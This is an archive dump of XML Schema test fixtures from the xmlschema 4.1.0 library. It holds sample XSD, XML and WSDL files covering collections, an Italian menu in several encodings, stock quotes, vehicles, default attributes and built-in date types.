</xs:element> </xs:sequence> <xs:attribute name="id" type="xs:ID" use="required"/> <xs:attribute name="available" type="xs:boolean" use="required"/> </xs:complexType> </xs:schema> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/collection/collection5.xsd��������������������������������0000664�0000000�0000000�00000003172�15020401055�0025700�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- Collection schema with elementFormDefault="qualified". --> <xs:schema targetNamespace="http://example.com/ns/collection" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/ns/collection" elementFormDefault="qualified"> <xs:element name="collection"> <xs:complexType> <xs:sequence> <xs:element name="object" type="objType" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="person" type="personType"/> <xs:complexType name="personType"> <xs:sequence> <xs:element name="name" type="xs:string"/> <xs:element name="born" type="xs:date"/> <xs:element name="dead" type="xs:date" minOccurs="0"/> <xs:element name="qualification" type="xs:string" minOccurs="0"/> </xs:sequence> <xs:attribute name="id" type="xs:ID" use="required"/> </xs:complexType> <xs:complexType name="objType"> <xs:sequence> <xs:element name="position" type="xs:int"/> <xs:element name="title" type="xs:string"/> <xs:element name="year" type="xs:gYear"/> <xs:element name="author" type="personType"/> <xs:element name="estimation" type="xs:decimal" minOccurs="0"/> <xs:element name="characters" minOccurs="0"> <xs:complexType> <xs:sequence> <xs:element ref="person" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> </xs:sequence> <xs:attribute name="id" type="xs:ID" use="required"/> <xs:attribute name="available" type="xs:boolean" use="required"/> </xs:complexType> </xs:schema> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/collection/collection6.xml��������������������������������0000664�0000000�0000000�00000000470�15020401055�0025701�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:import xmlns:col="http://example.com/ns/collection" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xsi:schemaLocation="http://example.com/ns/collection collection.xsd"> </xs:import> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/menĂ¹/����������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022155�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/menĂ¹/menĂ¹-ascii.xml�������������������������������������0000664�0000000�0000000�00000001057�15020401055�0025343�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version='1.0' encoding='US-ASCII'?> <menù xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="menù.xsd"> <antipasto>Affettati misti</antipasto> <antipasto>Bruschetta</antipasto> <antipasto>Polenta e funghi</antipasto> <primo>Lasagne</primo> <primo>Gnocchi al ragù</primo> <primo>Risotto allo zafferano</primo> <secondo>Tagliata di pollo</secondo> <secondo>Cotoletta alla milanese</secondo> <secondo>Caprese</secondo> <dolce>Crostata ai mirtilli</dolce> <dolce>Tiramisù</dolce> </menù>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/menĂ¹/menĂ¹-ascii.xsd�������������������������������������0000664�0000000�0000000�00000001004�15020401055�0025331�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version='1.0' encoding='US-ASCII'?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="menù"> <xs:complexType> <xs:sequence> <xs:element name="antipasto" type="xs:string" maxOccurs="10"/> <xs:element name="primo" type="xs:string" maxOccurs="10"/> <xs:element name="secondo" type="xs:string" maxOccurs="10"/> <xs:element name="dolce" type="xs:string" maxOccurs="10"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/menĂ¹/menĂ¹-cp1252.xml������������������������������������0000664�0000000�0000000�00000001024�15020401055�0025161�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version='1.0' encoding='CP1252'?> <menù xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="menù.xsd"> <antipasto>Affettati misti</antipasto> <antipasto>Bruschetta</antipasto> <antipasto>Polenta e funghi</antipasto> <primo>Lasagne</primo> <primo>Gnocchi al ragù</primo> <primo>Risotto allo zafferano</primo> <secondo>Tagliata di pollo</secondo> <secondo>Cotoletta alla milanese</secondo> <secondo>Caprese</secondo> <dolce>Crostata ai mirtilli</dolce> <dolce>Tiramisù</dolce> </menù>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/menĂ¹/menĂ¹-cp1252.xsd������������������������������������0000664�0000000�0000000�00000000775�15020401055�0025173�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version='1.0' encoding='CP1252'?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="menù"> <xs:complexType> <xs:sequence> <xs:element name="antipasto" type="xs:string" maxOccurs="10"/> <xs:element name="primo" type="xs:string" maxOccurs="10"/> <xs:element name="secondo" type="xs:string" maxOccurs="10"/> <xs:element name="dolce" type="xs:string" maxOccurs="10"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>���xmlschema-4.1.0/tests/test_cases/examples/menĂ¹/menĂ¹.txt�������������������������������������������0000664�0000000�0000000�00000000003�15020401055�0024262�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������bar�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/menĂ¹/menĂ¹.xml�������������������������������������������0000664�0000000�0000000�00000001036�15020401055�0024252�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <menĂ¹ xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="menĂ¹.xsd"> <antipasto>Affettati misti</antipasto> <antipasto>Bruschetta</antipasto> <antipasto>Polenta e funghi</antipasto> <primo>Lasagne</primo> <primo>Gnocchi al ragĂ¹</primo> <primo>Risotto allo zafferano</primo> <secondo>Tagliata di pollo</secondo> <secondo>Cotoletta alla milanese</secondo> <secondo>Caprese</secondo> <dolce>Crostata ai mirtilli</dolce> <dolce>TiramisĂ¹</dolce> </menĂ¹>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/menĂ¹/menĂ¹.xsd�������������������������������������������0000664�0000000�0000000�00000000727�15020401055�0024256�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="menĂ¹"> <xs:complexType> <xs:sequence> <xs:element name="antipasto" type="xs:string" maxOccurs="10"/> <xs:element name="primo" type="xs:string" maxOccurs="10"/> <xs:element name="secondo" type="xs:string" maxOccurs="10"/> <xs:element name="dolce" type="xs:string" maxOccurs="10"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> �����������������������������������������xmlschema-4.1.0/tests/test_cases/examples/stockquote/�����������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0023003�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/stockquote/stockquote.wsdl��������������������������������0000664�0000000�0000000�00000002017�15020401055�0026077�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!-- From WSDL 1.1 definition: https://www.w3.org/TR/2001/NOTE-wsdl-20010315 --> <definitions name="StockQuote" targetNamespace="http://example.com/stockquote/definitions" xmlns:tns="http://example.com/stockquote/definitions" xmlns:xsd1="http://example.com/stockquote/schemas" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns="http://schemas.xmlsoap.org/wsdl/"> <import namespace="http://example.com/stockquote/schemas" location="stockquote.xsd" /> <message name="GetLastTradePriceInput"> <part name="body" element="xsd1:TradePriceRequest"/> </message> <message name="GetLastTradePriceOutput"> <part name="body" element="xsd1:TradePrice"/> </message> <portType name="StockQuotePortType"> <operation name="GetLastTradePrice"> <input message="tns:GetLastTradePriceInput"/> <output message="tns:GetLastTradePriceOutput"/> </operation> </portType> </definitions>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/stockquote/stockquote.xsd���������������������������������0000664�0000000�0000000�00000001230�15020401055�0025720�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!-- From WSDL 1.1 definition: https://www.w3.org/TR/2001/NOTE-wsdl-20010315 --> <xs:schema targetNamespace="http://example.com/stockquote/schemas" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="TradePriceRequest"> <xs:complexType> <xs:all> <xs:element name="tickerSymbol" type="xs:string"/> </xs:all> </xs:complexType> </xs:element> <xs:element name="TradePrice"> <xs:complexType> <xs:all> <xs:element name="price" type="xs:float"/> </xs:all> </xs:complexType> </xs:element> </xs:schema> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/stockquote/stockquoteservice.wsdl�������������������������0000664�0000000�0000000�00000002316�15020401055�0027462�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <definitions name="StockQuote" targetNamespace="http://example.com/stockquote/service" xmlns:tns="http://example.com/stockquote/service" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:defs="http://example.com/stockquote/definitions" xmlns="http://schemas.xmlsoap.org/wsdl/"> <import namespace="http://example.com/stockquote/definitions" location="stockquote.wsdl"/> <binding name="StockQuoteBinding" type="defs:StockQuotePortType"> <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/> <operation name="GetLastTradePrice"> <soap:operation soapAction="http://example.com/GetLastTradePrice"/> <input> <soap:body use="literal"/> </input> <output> <soap:body use="literal"/> </output> </operation> </binding> <service name="StockQuoteService"> <documentation>My first service</documentation> <port name="StockQuotePort" binding="tns:StockQuoteBinding"> <soap:address location="http://example.com/stockquote"/> </port> </service> </definitions>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/vehicles/�������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022404�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/vehicles/bikes.xsd����������������������������������������0000664�0000000�0000000�00000000727�15020401055�0024227�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vh="http://example.com/vehicles" targetNamespace="http://example.com/vehicles" elementFormDefault="qualified"> <xs:include schemaLocation="types.xsd" /> <xs:element name="bikes"> <xs:complexType> <xs:sequence> <xs:element name="bike" type="vh:vehicleType" minOccurs="0" maxOccurs="unbounded" /> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> �����������������������������������������xmlschema-4.1.0/tests/test_cases/examples/vehicles/cars.xsd�����������������������������������������0000664�0000000�0000000�00000000725�15020401055�0024060�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vh="http://example.com/vehicles" targetNamespace="http://example.com/vehicles" elementFormDefault="qualified"> <xs:include schemaLocation="types.xsd" /> <xs:element name="cars"> <xs:complexType> <xs:sequence> <xs:element name="car" type="vh:vehicleType" minOccurs="0" maxOccurs="unbounded" /> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> �������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/vehicles/invalid.xsd��������������������������������������0000664�0000000�0000000�00000001123�15020401055�0024547�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vh="http://example.com/vehicles" targetNamespace="http://example.com/vehicles" elementFormDefault="qualified"> <xs:include schemaLocation="cars.xsd"/> <xs:include schemaLocation="bikes.xsd"/> <xs:element name="vehicles"> <xs:complexType name="vehiclesType"> <!-- name attr not allowed! --> <xs:sequence> <xs:element ref="vh:cars" /> <xs:element ref="vh:bikes" /> </xs:sequence> </xs:complexType> </xs:element> <xs:attribute type="xs:positiveInteger" name="step"/> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/vehicles/types.xsd����������������������������������������0000664�0000000�0000000�00000000551�15020401055�0024271�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/vehicles" targetNamespace="http://example.com/vehicles"> <xs:include schemaLocation="cars.xsd" /> <xs:complexType name="vehicleType"> <xs:attribute name="make" type="xs:string" /> <xs:attribute name="model" type="xs:string" /> </xs:complexType> </xs:schema> �������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/vehicles/vehicles-1_error.xml�����������������������������0000664�0000000�0000000�00000000724�15020401055�0026302�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<vh:vehicles xmlns:vh="http://example.com/vehicles" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://example.com/vehicles vehicles.xsd"> <vh:cars> NOT ALLOWED CHARACTER DATA <vh:car make="Porsche" model="911" /> <vh:car make="Porsche" model="911" /> </vh:cars> <vh:bikes> <vh:bike make="Harley-Davidson" model="WL" /> <vh:bike make="Yamaha" model="XS650" /> </vh:bikes> </vh:vehicles> ��������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/vehicles/vehicles-2_errors.xml����������������������������0000664�0000000�0000000�00000000733�15020401055�0026466�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<vh:vehicles xmlns:vh="http://example.com/vehicles" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://example.com/vehicles vehicles.xsd"> <vh:cars> CHARACTER DATA <vh:car make="Porsche" model="911" /> <vh:car make="Porsche" model="911" /> </vh:cars> <vh:bikes> <vh:bike make="Harley-Davidson" model="WL" /> N/A CHARACTERS <vh:bike make="Yamaha" model="XS650" /> </vh:bikes> </vh:vehicles> �������������������������������������xmlschema-4.1.0/tests/test_cases/examples/vehicles/vehicles-3_errors.xml����������������������������0000664�0000000�0000000�00000000753�15020401055�0026471�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<vh:vehicles xmlns:vh="http://example.com/vehicles" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://example.com/vehicles vehicles.xsd"> <vh:cars> NOT ALLOWED CHARACTER DATA <vh:car make="Porsche" color="blue" model="911" /> <vh:car make="Porsche" model="911" /> </vh:cars> <vh:bikes> <vh:bike make="Harley-Davidson" model="WL" /> EXTRA <vh:bike make="Yamaha" model="XS650" /> </vh:bikes> </vh:vehicles> ���������������������xmlschema-4.1.0/tests/test_cases/examples/vehicles/vehicles-max.xsd���������������������������������0000664�0000000�0000000�00000001055�15020401055�0025512�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vh="http://example.com/vehicles" targetNamespace="http://example.com/vehicles" elementFormDefault="qualified"> <xs:include schemaLocation="cars.xsd"/> <xs:include schemaLocation="bikes.xsd"/> <xs:element name="vehicles"> <xs:complexType> <xs:sequence maxOccurs="5"> <xs:element ref="vh:cars" /> <xs:element ref="vh:bikes" /> </xs:sequence> </xs:complexType> </xs:element> <xs:attribute type="xs:positiveInteger" name="step"/> </xs:schema> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/vehicles/vehicles-ns-mix.xml������������������������������0000664�0000000�0000000�00000001265�15020401055�0026145�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- A valid instance with mixed namespace declarations --> <vehicles xmlns="http://example.com/vehicles" xmlns:vh="http://xmlschema.test/other-ns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://example.com/vehicles vehicles.xsd"> <vh:cars xmlns:vh="http://example.com/vehicles" xmlns=""> <vh:car make="Porsche" model="911" /> <!-- Comment --> <vh:car make="Porsche" model="911" /> </vh:cars> <vh:bikes xmlns:vh="http://example.com/vehicles" xmlns=""> <vh:bike make="Harley-Davidson" model="WL" /> <vh:bike make="Yamaha" model="XS650" /> </vh:bikes> </vehicles> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/vehicles/vehicles-redef.xml�������������������������������0000664�0000000�0000000�00000000761�15020401055�0026017�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <vh:vehicles xmlns:vh="http://example.com/vehicles" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://example.com/vehicles vehicles.xsd"> <vh:cars> <vh:car make="Porsche" model="911" /> <!-- Comment --> <vh:car make="Porsche" model="911" /> </vh:cars> <vh:bikes> <vh:bike make="Harley-Davidson" model="WL" /> <vh:bike make="Yamaha" model="XS650" /> </vh:bikes> </vh:vehicles> ���������������xmlschema-4.1.0/tests/test_cases/examples/vehicles/vehicles.xml�������������������������������������0000664�0000000�0000000�00000000761�15020401055�0024734�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <vh:vehicles xmlns:vh="http://example.com/vehicles" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://example.com/vehicles vehicles.xsd"> <vh:cars> <vh:car make="Porsche" model="911" /> <!-- Comment --> <vh:car make="Porsche" model="911" /> </vh:cars> <vh:bikes> <vh:bike make="Harley-Davidson" model="WL" /> <vh:bike make="Yamaha" model="XS650" /> </vh:bikes> </vh:vehicles> ���������������xmlschema-4.1.0/tests/test_cases/examples/vehicles/vehicles.xsd�������������������������������������0000664�0000000�0000000�00000001037�15020401055�0024727�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vh="http://example.com/vehicles" targetNamespace="http://example.com/vehicles" elementFormDefault="qualified"> <xs:include schemaLocation="cars.xsd"/> <xs:include schemaLocation="bikes.xsd"/> <xs:element name="vehicles"> <xs:complexType> <xs:sequence> <xs:element ref="vh:cars" /> <xs:element ref="vh:bikes" /> </xs:sequence> </xs:complexType> </xs:element> <xs:attribute type="xs:positiveInteger" name="step"/> </xs:schema> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/examples/vehicles/vehicles2.xml������������������������������������0000664�0000000�0000000�00000000660�15020401055�0025014�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <vh:vehicles xmlns:vh="http://example.com/vehicles" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://example.com/vehicles vehicles.xsd"> <vh:cars> <vh:car make="Porsche" model="911" /> <vh:car make="Porsche" model="911" /> </vh:cars> <vh:bikes> <vh:bike make="Harley-Davidson" model="WL" /> </vh:bikes> </vh:vehicles> ��������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/����������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0020602�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/attributes/�����������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022770�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/attributes/default_attributes-missing_group.xsd�����������0000664�0000000�0000000�00000001260�15020401055�0032264�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- XSD 1.1 schema example with defaultAttributes --> <xs:schema xmlns:ns="ns" xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="ns" defaultAttributes="ns:default_attrs"> <xs:element name="tree"> <xs:complexType defaultAttributesApply="false"> <xs:sequence> <xs:element name="node" maxOccurs="unbounded" type="ns:node-type"/> </xs:sequence> </xs:complexType> </xs:element> <xs:complexType name="node-type" mixed="true"> <xs:simpleContent> <xs:extension base="xs:string"/> </xs:simpleContent> </xs:complexType> </xs:schema> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/attributes/default_attributes.xsd�������������������������0000664�0000000�0000000�00000001616�15020401055�0027406�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- XSD 1.1 schema example with defaultAttributes --> <xs:schema xmlns:ns="ns" xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="ns" defaultAttributes="ns:default_attrs"> <xs:attributeGroup name="default_attrs"> <xs:attribute name="node-id" type="xs:positiveInteger" use="required"/> <xs:attribute name="colour" type="xs:token"/> </xs:attributeGroup> <xs:element name="tree"> <xs:complexType defaultAttributesApply="false"> <xs:sequence> <xs:element name="node" maxOccurs="unbounded" form="qualified" type="ns:node-type"/> </xs:sequence> </xs:complexType> </xs:element> <xs:complexType name="node-type" mixed="true"> <xs:simpleContent> <xs:extension base="xs:string"/> </xs:simpleContent> </xs:complexType> </xs:schema> ������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/builtins/�������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022433�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/builtins/builtins.xml�������������������������������������0000664�0000000�0000000�00000001110�15020401055�0024777�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <ns:data xmlns:ns="ns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="ns ./builtins.xsd"> <birthdayDate>2005-05-25</birthdayDate> <birthdayDate>2001-01-01Z</birthdayDate> <birthdayDate>-0100-07-13</birthdayDate> <eventTime>00:00:00</eventTime> <eventTime>12:30:20.5555</eventTime> <eventTime>12:30:20-04:00</eventTime> <lastTicketDateTime>2017-09-06T23:59:00.000+03:00</lastTicketDateTime> <lastTicketDateTime>2017-09-06T23:59:00+03:00</lastTicketDateTime> </ns:data> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/builtins/builtins.xsd�������������������������������������0000664�0000000�0000000�00000001131�15020401055�0025000�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns="ns" xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="ns" > <xs:element name="data"> <xs:complexType> <xs:sequence> <xs:element name="birthdayDate" type="xs:date" minOccurs="0" maxOccurs="unbounded"/> <xs:element name="eventTime" type="xs:time" minOccurs="0" maxOccurs="unbounded"/> <xs:element name="lastTicketDateTime" type="xs:dateTime" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/decoder/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022207�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/decoder/data.xml������������������������������������������0000664�0000000�0000000�00000001447�15020401055�0023650�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <ns:data xmlns:ns="ns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="ns ./simple-types.xsd"> <decimal_value>1</decimal_value> <certification Year="1999">ISO-9001</certification> <certification Year="2009">ISO-27001</certification> <menĂ¹>baccalĂ  mantecato</menĂ¹> <complex_boolean Type="2">true</complex_boolean> <complex_boolean Type="1">false</complex_boolean> <complex_boolean>true</complex_boolean> <complex_boolean>false</complex_boolean> <simple_boolean>true</simple_boolean> <simple_boolean>false</simple_boolean> <date_and_time>2020-03-05T23:04:10.047</date_and_time> <hexbin>AABBCCDD</hexbin> <list_of_floats>INF -INF</list_of_floats> <qname>ns:foo</qname> </ns:data> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/decoder/data2.xml�����������������������������������������0000664�0000000�0000000�00000001325�15020401055�0023725�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <ns:data xmlns:ns="ns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="ns ./simple-types.xsd"> <decimal_value>000000000611.000</decimal_value> <celsiusBodyTemp>37.0</celsiusBodyTemp> <celsiusBodyTemp>0500.0</celsiusBodyTemp> <celsiusBodyTemp>500.00</celsiusBodyTemp> <celsiusBodyTemp>50000.0</celsiusBodyTemp> 